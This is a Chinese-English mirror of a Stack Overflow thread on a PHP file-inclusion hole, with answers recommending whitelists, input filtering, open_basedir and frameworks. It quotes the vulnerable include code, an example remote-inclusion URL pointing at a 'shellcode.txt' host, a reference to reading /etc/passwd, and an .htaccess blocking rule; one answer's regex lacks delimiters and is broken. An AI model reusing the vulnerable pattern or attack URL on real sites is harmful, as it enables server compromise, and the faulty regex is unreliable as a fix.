避免 PHP 代码注入的最佳方法

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/38875/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-08-24 21:16:29  来源:igfitidea点击:

Best way to avoid code injection in PHP

phpsecuritycode-injection

提问by pek

My website was recently attacked by, what seemed to me as, an innocent code:

我的网站最近遭到了一个在我看来是无辜的代码的攻击:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.

那里没有 SQL 调用,所以我不怕 SQL 注入。但是,显然,SQL 并不是唯一的注入方式。

This website has an explanation and a few examples of avoiding code injection: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

这个网站有避免代码注入的解释和几个例子:http: //www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

How would you protect this code from code injection?

您将如何保护此代码免受代码注入?

回答by Jeremy Ruten

Use a whitelist and make sure the page is in the whitelist:

使用白名单并确保页面在白名单中:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }

回答by BlaM

Another way to sanitize the input is to make sure that only allowed characters (no "/", ".", ":", ...) are in it. However don't use a blacklist for badcharacters, but a whitelist for allowed characters:

另一种清理输入的方法是确保只有允许的字符(没有“/”、“.”、“:”、...)在其中。但是不要对字符使用黑名单,而对允许的字符使用白名单:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... followed by a file_exists.

...后跟一个file_exists。

That way you can make sure that only scripts you want to be executed are executed (for example this would rule out a "blabla.inc.php", because "." is not allowed).

这样您就可以确保只执行您想要执行的脚本(例如,这将排除“blabla.inc.php”,因为不允许使用“.”)。

Note: This is kind of a "hack", because then the user could execute "h.o.m.e" and it would give the "home" page, because all it does is removing all prohibited characters. It's not intended to stop "smartasses" who want to cute stuff with your page, but it will stop people doing really badthings.

注意:这是一种“hack”,因为这样用户就可以执行“home”并且它会给出“home”页面,因为它所做的只是删除所有禁止的字符。这并不是为了阻止想要在您的页面上添加可爱内容的“聪明人”,但它会阻止人们做非常糟糕的事情。

BTW: Another thing you could do in you .htaccessfile is to prevent obvious attack attempts:

顺便说一句:您可以在.htaccess文件中做的另一件事是防止明显的攻击尝试:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

That way all page accesses with "http:" url (and query string) result in an "Forbidden" error message, not even reaching the php script. That results in less server load.

这样所有使用“http:”url(和查询字符串)的页面访问都会导致“禁止”错误消息,甚至没有到达php脚本。这会减少服务器负载。

However keep in mind that no "http" is allowed in the query string. You website might MIGHT require it in some cases (maybe when filling out a form).

但是请记住,查询字符串中不允许使用“http”。在某些情况下,您的网站可能需要它(可能是在填写表格时)。

BTW: If you can read german: I also have a blog poston that topic.

顺便说一句:如果你能读懂德语:我也有一篇关于该主题的博客文章

回答by Cheekysoft

Pek, there are many things to worry about an addition to sql injection, or even different types of code injection. Now might be a good time to look a little further into web application security in general.

Pek,除了sql注入,甚至不同类型的代码注入,还有很多事情要担心。现在可能是深入研究一般 Web 应用程序安全性的好时机。

From a previous question on moving from desktop to web development, I wrote:

从上一个关于从桌面到 Web 开发的问题,我写道:

The OWASP Guide to Building Secure Web Applications and Web Servicesshould be compulsory reading for any web developer that wishes to take security seriously (which should be allweb developers). There are many principles to follow that help with the mindset required when thinking about security.

If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about How To Break Web Software.

对于任何希望认真对待安全性的Web 开发人员(应该是所有Web 开发人员),OWASP 构建安全 Web 应用程序和 Web 服务指南应该是必读的。在考虑安全性时,需要遵循许多原则来帮助形成所需的心态。

如果您不适合阅读大篇幅的文档,那么请看一下 Mike Andrews 几年前在 Google 举办的关于如何破解 Web 软件的研讨会的视频。

回答by Kyle Cronin

The #1 rule when accepting user input is always sanitize it. Here, you're not sanitizing your page GET variable before you're passing it into include. You should perform a basic check to see if the file exists on your server before you include it.

接受用户输入时的 #1 规则始终是对其进行消毒。在这里,您没有在将页面 GET 变量传递到 include 之前对其进行清理。在包含该文件之前,您应该执行基本检查以查看该文件是否存在于您的服务器上。

回答by Till

I'm assuming you deal with files in the same directory:

我假设您处理同一目录中的文件:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

This is not too pretty, but should fix your issue.

这不太漂亮,但应该可以解决您的问题。

回答by Micha? Rudnicki

pek, for a short term fix apply one of the solutions suggested by other users. For a mid to long term plan you shouldconsider migrating to one of existing web frameworks. They handle all low-level stuff like routing and files inclusion in reliable, secure way, so you can focus on core functionalities.

pek,对于短期修复,请应用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的 Web 框架之一。它们以可靠、安全的方式处理所有低级事务,例如路由和文件包含,因此您可以专注于核心功能。

Do not reinvent the wheel. Use a framework.Any of them is better than none. The initial time investment in learning it pays back almost instantly.

不要重新发明轮子。使用框架。它们中的任何一个都比没有好。学习它的最初时间投资几乎立即得到回报。

回答by Cheekysoft

Some good answers so far, also worth pointing out a couple of PHP specifics:

到目前为止,一些不错的答案,也值得指出几个 PHP 细节:

The file open functions use wrappersto support different protocols. This includes the ability to open files over a local windows network, HTTP and FTP, amongst others. Thus in a default configuration, the code in the original question can easily be used to open any arbitrary file on the internet and beyond; including, of course, all files on the server's local disks (that the webbserver user may read). /etc/passwdis always a fun one.

文件打开函数使用包装器来支持不同的协议。这包括通过本地 Windows 网络、HTTP 和 FTP 等打开文件的能力。因此,在默认配置中,原始问题中的代码可轻松用于打开 Internet 上及其他地方的任意文件;当然,包括服务器本地磁盘上的所有文件(webbserver 用户可以读取)。/etc/passwd总是一个有趣的。

Safe mode and open_basedircan be used to restrict files outside of a specific directory from being accessed.

安全模式,open_basedir可用于限制访问特定目录之外的文件。

Also useful is the config setting allow_url_fopen, which can disable URL access to files, when using the file open functions. ini-setcan be used to set and unset this value at runtime.

配置设置也很有用allow_url_fopen,它可以在使用文件打开功能时禁用对文件的 URL 访问。ini-set可用于在运行时设置和取消设置此值。

These are all nice fall-back safety guards, but please use a whitelist for file inclusion.

这些都是很好的后备安全防护,但请使用白名单来包含文件。

回答by Loek Bergman

I know this is a very old post and I expect you don't need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that. There is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like 'page' you could make an URL like 'Spinoza-Ethica'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:

我知道这是一篇很老的帖子,我希望你不再需要答案,但恕我直言,我仍然错过了一个非常重要的方面,我喜欢将它分享给阅读这篇文章的其他人。在包含基于变量值的文件的代码中,您在字段值和请求的结果之间建立了直接链接(页面变为 page.php)。我认为最好避免这种情况。对某个页面的请求与该页面的交付之间存在差异。如果你做出这样的区分,你可以使用漂亮的 url,它们对用户和 SEO 非常友好。您可以创建一个像“Spinoza-Ethica”这样的 URL,而不是像“page”这样的字段值。这是白名单中的键或数据库表中的主键,将返回硬编码的文件名或值。除了普通的白名单之外,该方法还有几个优点:

  1. the back end response is effectively independent from the front end request. If you want to set up your back end system differently, you do not have to change anything on the front end.

  2. Always make sure you end with hardcoded filenames or an equivalent from the database (preferrabley a return value from a stored procedure), because it is asking for trouble when you make use of the information from the request to build the response.

  3. Because your URLs are independent of the delivery from the back end you will never have to rewrite your URLs in the htAccess file for this kind of change.

  4. The URLs represented to the user are user friendly, informing the user about the content of the document.

  5. Nice URLs are very good for SEO, because search engines are in search of relevant content and when your URL is in line with the content will it get a better rate. At least a better rate then when your content is definitely not in line with your content.

  6. If you do not link directly to a php file, you can translate the nice URL into any other type of request before processing it. That gives the programmer much more flexibility.

  7. You will have to sanitize the request, because you get the information from a standard untrustfull source (the rest of the Web). Using only nice URLs as possible input makes the sanitization process of the URL much simpler, because you can check if the returned URL conforms your own format. Make sure the format of the nice URL does not contain characters that are used extensively in exploits (like ',",<,>,-,&,; etc..).

  1. 后端响应实际上独立于前端请求。如果您想以不同的方式设置后端系统,则无需更改前端的任何内容。

  2. 始终确保以硬编码文件名或数据库中的等效文件名结尾(最好是存储过程的返回值),因为当您使用请求中的信息来构建响应时,这会带来麻烦。

  3. 因为您的 URL 独立于后端的传递,所以您永远不必为这种更改在 htAccess 文件中重写您的 URL。

  4. 表示给用户的 URL 是用户友好的,告知用户文档的内容。

  5. 好的 URL 对 SEO 非常有好处,因为搜索引擎正在搜索相关的内容,当您的 URL 与内容一致时,它会获得更好的率。至少比当您的内容绝对不符合您的内容时更好。

  6. 如果您不直接链接到 php 文件,则可以在处理之前将漂亮的 URL 转换为任何其他类型的请求。这给了程序员更大的灵活性。

  7. 您必须清理请求,因为您从标准的不可信来源(Web 的其余部分)获取信息。仅使用合适的 URL 作为可能的输入使 URL 的清理过程更加简单,因为您可以检查返回的 URL 是否符合您自己的格式。确保 nice URL 的格式不包含在漏洞利用中广泛使用的字符(如 ',",<,>,-,&,; 等..)。

回答by Jaya Kuma

Think of the URL is in this format:

想想 URL 是这样的格式:

www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt

www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt

If the shellcode.txt runs SQL or PHP injection, then your website will be at risk, right? Do think of this, using a whitelist would be of help.

如果 shellcode.txt 运行 SQL 或 PHP 注入,那么您的网站将面临风险,对吗?请考虑这一点,使用白名单会有所帮助。

There is a way to filter all variables to avoid the hacking. You can use PHP IDS or OSE Security Suite to help avoid the hacking. After installing the security suite, you need to activate the suite, here is the guide:

有一种方法可以过滤所有变量以避免黑客攻击。您可以使用 PHP IDS 或 OSE 安全套件来帮助避免黑客攻击。安装安全套件后,您需要激活套件,这里是指南:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

I would suggest you turn on layer 2 protection, then all POST and GET variables will be filtered especially the one I mentioned, and if there are attacks found, it will report to you immediately/

我建议你打开二层保护,然后所有的POST和GET变量都会被过滤掉,特别是我提到的那个,如果发现有攻击,它会立即报告给你/

Safety is always the priority

安全永远是第一位

回答by ceejayoz

@pek - That won't work, as your array keys are 0 and 1, not 'home' and 'page'.

@pek - 这行不通,因为您的数组键是 0 和 1,而不是 'home' 和 'page'。

This code should do the trick, I believe:

这段代码应该可以解决问题,我相信:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

As you've a whitelist, there shouldn't be a need for file_exists()either.

由于您有白名单,因此不需要file_exists()两者。